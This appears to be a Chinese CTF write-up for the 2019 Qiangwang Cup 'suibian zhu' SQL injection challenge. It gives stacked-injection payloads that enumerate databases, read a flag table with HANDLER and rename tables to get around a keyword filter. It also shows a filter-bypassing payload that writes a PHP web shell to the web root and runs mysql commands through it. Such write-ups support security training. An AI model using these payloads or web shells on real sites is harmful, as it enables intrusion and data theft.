[强网杯 2019]随便注1

根据题目得该题目是关于sql注入的,当提提交查询1时,得到array(2) { [0]=> string(1) "1" [1]=> string(7) "hahahah" }

提交查询为1'时候报错:error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1,从报错内容可以得知正确的注入方式为1',进而提交1' or 1=1#得到:

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

接下来我们根据注入来猜测相应的列的数量,根据order by语句,只有当注入语句为1' order by 2#时显示正常,故可猜测该表有两列,接下来可以尝试爆出注入回显,通过提交1' union select 1,2#得到提示语句:

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

表明该表存在关键字过滤,将select、update、delete等关键词进行了过滤,所以可以考虑使用堆叠注入+show语句,查看所有数据库,提交语句1';show databases;得:

array(1) {
  [0]=>
  string(11) "ctftraining"
}

array(1) {
  [0]=>
  string(18) "information_schema"
}

array(1) {
  [0]=>
  string(5) "mysql"
}

array(1) {
  [0]=>
  string(18) "performance_schema"
}

array(1) {
  [0]=>
  string(9) "supersqli"
}

array(1) {
  [0]=>
  string(4) "test"
}

得到存在hahaha、ctftraining、information_schema、musql、performance_schema、supersqli、test这几个数据库,接下来查看数据表,使用payload:1';show tables;#得:

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

得到这个数据表,接下来使用payload:1’;show columns from `1919810931114514`;#

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

注意,此处的列名由于是纯数字,所以应该使用反引号 ` 将其引起来,最后得到一个为flag的列,接下来由于无法查存该flag的值,所以有两种方法可供参考:

  • 利用handler语句

    原理解释: HANDLER语句使我们能够一行一行的浏览一个表中的数据,handler 语句并不具备 select 语句的所有功能,它是 MySQL 专用的语句,并没有包含到SQL标准中。

    语法:

        打开句柄:handler handler_table open;       
    
        查看数据:handler handler_table read first/next/prev/last;
    
        关闭句柄:handler handler_table close;
    

    payload——“1’;handler `1919810931114514` open;handler `1919810931114514` read first;#”

  • 利用重命名方法

    因为当前数据库下只有两张表,所以我们不难判断出查询语句大概是这样select id,data from words where id=,所以我们的思路就是将words表换成其他表,再将数字表换成words表,新 words 表添加新的列名 id 默认值为1,将 flag 改名为 data

    payload——“1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int(10) default 1;alter table words change flag data varchar(100);#”

    然后 “-1’;show tables;show columns from words;#” 看一下有没有成功

  • 利用命令执行

    1、利用concat将select拆分从而绕过关键词select过滤

    2、利用char将ASCII码46转换为.从而绕过关键词.过滤

    3、利用MySQL into outputfile给网站留后门:利用Mysql into outfile给网站留后门(这里猜测绝对路径是一般ubuntu服务器网站根目录/var/www/html

    4、利用一句话木马执行任意mysql命令(反引号中的内容会被当做bash命令执行然后结果再传回来执行)

    payload:

    /?inject=';Set @sql=concat("s","elect '<?php @print_r(`$_GET[1]`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sqla from @sql;EXECUTE sqla;
    
    /1.php?1=mysql -uroot -proot -e"use supersqli;select flag from \`1919810931114514\`;"
    
    

    最后得到 Flag

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丙戌年1101

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值